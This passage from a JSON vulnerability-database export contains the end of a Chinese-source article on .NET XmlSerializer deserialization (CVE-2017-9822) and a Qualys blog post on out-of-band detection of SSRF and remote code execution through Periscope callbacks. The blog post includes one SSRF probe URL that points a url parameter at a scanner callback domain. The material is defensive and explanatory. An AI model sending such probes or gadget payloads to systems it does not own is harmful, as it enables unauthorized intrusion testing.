namespace, you can call any referenced methods in the class, to provide members of the ObjectInstance using the similar instance of the class, the members of the MethodName to invoke the specified type the name of the method, the members of the MethodParameters representation is passed to the method parameters, refer to the following figure \n! [](/Article/UploadPic/2019-3/201936185044438. png) \nThen to the TestClass class defines a ClassMethod method, the code calls System. Diagnostics. Process. Start start a new process pop-up calculator. If you use the XmlSerializer directly serialize will throw an exception, because during serialization ObjectInstance this member type is unknown, but you can use ExpandedWrapper extension class in the system of internal pre-load related entities of the query to avoid the exception error, rewrite Demo \n! [](/Article/UploadPic/2019-3/201936185044376. png) \nTo generate data. xml content is as follows: \n! [](/Article/UploadPic/2019-3/201936185044267. png)\n\n**[1] [[2]](<93037_2.htm>) [next](<93037_2.htm>)**\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-03-06T00:00:00", "title": ". NET advanced code audit\uff08the first lesson\uff09XmlSerializer deserialization vulnerability-vulnerability warning-the black bar safety net", "type": "myhack58", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2019-03-06T00:00:00", "id": "MYHACK58:62201993037", "href": "http://www.myhack58.com/Article/html/3/62/2019/93037.htm", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "qualysblog": [{"lastseen": "2022-12-06T22:09:26", "description": "Qualys previously announced the introduction of [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) in 2020. This technology allows [Qualys Web Application Scanning](<https://www.qualys.com/apps/web-app-scanning/>) (WAS) to detect out-of-band vulnerabilities such as [server-side request forgery](<https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/>) (SSRF). [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) provides confirmed detections for additional vulnerabilities, such as Log4j, where it enables rapid development and release of the QID. Occasionally, Qualys receives questions and support cases related to [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>). This article will provide more detail on the common questions/situations seen with out-of-band detections. \n\nAs of publishing, the vulnerability detections that utilize [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) are:\n\n * QID 150055 \u2013 OS Command Injection\n * QID 150179 \u2013 Blind XXE injection\n * QID 150255 \u2013 SMTP Header Injection\n * QID 150258 \u2013 Server-Side Request Forgery (SSRF)\n * QID 150267 \u2013 Oracle WebLogic Remote Code Execution Vulnerability (CVE-2019-2725)\n * QID 150278 \u2013 DNN RCE Vulnerability (CVE-2017-9822)\n * QID 150279 \u2013 Jira Server Side Request Forgery (SSRF) Vulnerability CVE-2019-8451)\n * QID 150298 \u2013 SSRF to AWS Metadata Service\n * QID 150307 \u2013 External Service Interaction via HTTP Header Injection\n * QID 150339 \u2013 Oracle WebLogic Server Unauthenticated Remote Code Execution Vulnerability\n * QID 150364 - Keycloak SSRF Vulnerability (CVE-2020-10770)\n * QID 150426 - Adobe Experience Manager: SSRF via Salesforce Secret Servlet\n * QID 150427 - Adobe Experience Manager: SSRF via Reporting Services Servlet\n * QID 150428 - Adobe Experience Manager: SSRF via Site Catalyst Servlet\n * QID 150429 - Adobe Experience Manager: SSRF via Auto Provisioning Servlet\n * QID 150430 - Adobe Experience Manager: SSRF via Opensocial\n * QID 150440 - Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228)\n * QID 150441 - Forms Vulnerable to Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228)\n * QID 150445 - Apache Solr SSRF Vulnerability (CVE-2021-27905)\n * QID 150494 - Spring Cloud Function Remote Code Execution (RCE) Vulnerability (CVE-2022-22963)\n * QID 150495 - Spring Core Remote Code Execution (RCE) Vulnerability CVE-2022-22965 (Spring4Shell)\n * QID 150498 WordPress AnyComment Plugin: Arbitrary HyperComments Import/Revert via CSRF Vulnerability (CVE-2022-0134)\n * QID 150503 - NodeJS Command Injection Vulnerability (CVE-2021-21315)\n * QID 150504 - Apache Struts 2 Remote Code Execution Vulnerability (CVE-2021-31805)\n * QID 150557 - Apache Spark Shell Command Injection Vulnerability (CVE-2022-33891)\n * QID 150574 - Atlassian Bitbucket Server and Data Center - Command Injection Vulnerability (CVE-2022-3680\n\n# Functionality\n\nThe detection mechanism consists of the following steps:\n\n 1. When Qualys WAS scans a web application for out-of-band vulnerabilities, it fuzzes/injects the fields with specially-crafted payloads. Different payloads are used for different vulnerability types. In this example, WAS scans the web app at \u201cwww.example.com\u201d. Imagine this web app includes functionality to display an image that is retrieved from a specific URL. To test for SSRF, a request similar to the one below would be sent by the scanner. Here we see the field being fuzzed is the \u201curl\u201d query string parameter, and the specific payload is for SSRF.https://www.example.com/loadImage?url=http%3A%2F%2F2a3b948a2b0a.1463985_40627.1466122137.ssrf01.ssrf.in03.qualysperiscope.com\n 2. If the scanned web application is vulnerable, it tries to make the following HTTP request but first must resolve the FQDN having a domain of qualysperiscope.com mentioned in the payload. \nhttp://2a3b948a2b0a.1463985_40627.1466122137.ssrf01.ssrf.in03.qualysperiscope.com\n 3. Now, as a part of the DNS resolution process, the request will hit [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>)\u2019s DNS service. The DNS service initially processes the request to verify the hash embedded in the request is valid. This ensures the lookup request is genuine and was generated from a WAS scan. Once everything is verified, [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) logs the request internally. If verification fails, the request is simply dropped.\n 4. Subsequently, Qualys WAS will ask for the lookup request data from [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) along with the scan ID and a hash. [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) again verifies the hash and serves the external request data corresponding to that scan ID (if present). \nThe data received from [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) is in JSON as below: \n{ "lookup": "A-record" "request": "2a3b948a2b0a.1463985_40627.1466122137.ssrf01.ssrf.in03.qualysperiscope.com", } \n\n 5. Web Application Scanning (WAS) processes the data received from [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>), and reports the vulnerabilities corresponding to the payload which were successfully executed.\n\n# Request Source IP Address\n\nQualys WAS sends a unique URL for each vulnerability test. This allows a correlation between the injected value and the request received by [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>). We can be sure which injection caused the external service interaction. What may be less clear is what system made that request to [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>).\n\nAs the detection is executed against an application, the injection point is known. This is apparent from the QIDs:\n\nQID 150557 - Apache Spark Shell Command Injection Vulnerability (CVE-2022-33891)\n\nQID 150258 \u2013 Server-Side Request Forgery (SSRF)\n\nSince unique dynamic URLs are used, the address must be resolved via DNS. Typically, the target application will not resolve the DNS itself. A DNS resolver will query through the DNS hierarchy to resolve the address. Therefore, the DNS request that comes to the [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) server may be from a DNS resolver or other system that is not the target application/server. The numerous devices/software in a networked system can lead to any number of devices being the source of the DNS request. Proxies, reverse proxies, firewalls, web application firewalls, load balancers, host-based security software, etc., could all potentially issue the request, and we have observed cases where that has occurred. \n\n## Potential \u201cFalse Positives\u201d\n\nWhen a [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) detection occurs during a CVE-based QID, you can be assured it is valid. However, there are times when the non-CVE detection could be false positives. Take a contact form on an application. This form takes a name and a message. If Qualys WAS injects the Periscope URL in the message body, most likely, the email will be sent. This email then hits an email security appliance that performs a reputation check on the URL. There is no history for the URL as it is dynamically created, so the service visits the URL to evaluate it. First, it must resolve the DNS address, which would result in the [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) server receiving the request from the email security provider. A similar situation may occur if the request with Periscope URL results in an error. This error could be logged, and an email is sent to the application administrator. As the URL is now in an email, the email security system checks the URL and results in a hit to [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>).\n\n## Potential False Negatives\n\nInternal systems may not have Internet access which is required to reach our [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) system. If a proxy is required, the injected URL cannot use that path. SSRF does not need to reach out to a network to cause issues. If an attacker has knowledge of the internal network, they could use SSRF to pivot/make requests to an internal server. \n\n# Final Thoughts\n\nEven when a different system makes the request, it is advised to mitigate the issue at the application level. Focus on the injection point in the scan report. Should this field, parameter, and header value accept untrusted URLs? Applications should not accept untrusted input. If you must accept URLs, whitelist the approved URLs.\n\nUltimately, the customer's organization is better equipped to investigate false positives than Qualys support. Because unique URLs are utilized, Qualys can be confident the scan did trigger a system to make the DNS request. Application owners/developers and network engineers should know the inner workings of systems necessary to determine where the request originated. As [Qualys Periscope](<https://blog.qualys.com/product-tech/2020/01/15/introducing-periscope-out-of-band-vulnerability-detection-mechanism-in-qualys-was>) is not available outside of scan, if additional testing or verification is needed, consider using [interactsh](<https://github.com/projectdiscovery/interactsh>) available [here](<https://github.com/projectdiscovery/interactsh>), or the hosted version at [app.interactsh.com](<http://app.interactsh.com/>). Once the vulnerability is addressed, rescan with Qualys WAS to close the detection.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-12-01T23:11:35", "type": "qualysblog", "title": "Identify Server-Side Attacks Using Qualys Periscope", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822", "CVE-2019-2725", "CVE-2019-8451", "CVE-2020-10770", "CVE-2021-21315", "CVE-2021-27905", "CVE-2021-31805", "CVE-2021-44228", "CVE-2022-0134", "CVE-2022-22963", "CVE-2022-22965", "CVE-2022-33891", "CVE-2022-3680"], "modified": "2022-12-01T23:11:35", "id": "QUALYSBLOG:5FAC1C82A388DBB84ECD7CD43450B624", "href": "https://blog.qualys.com/category/qualys-insights", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}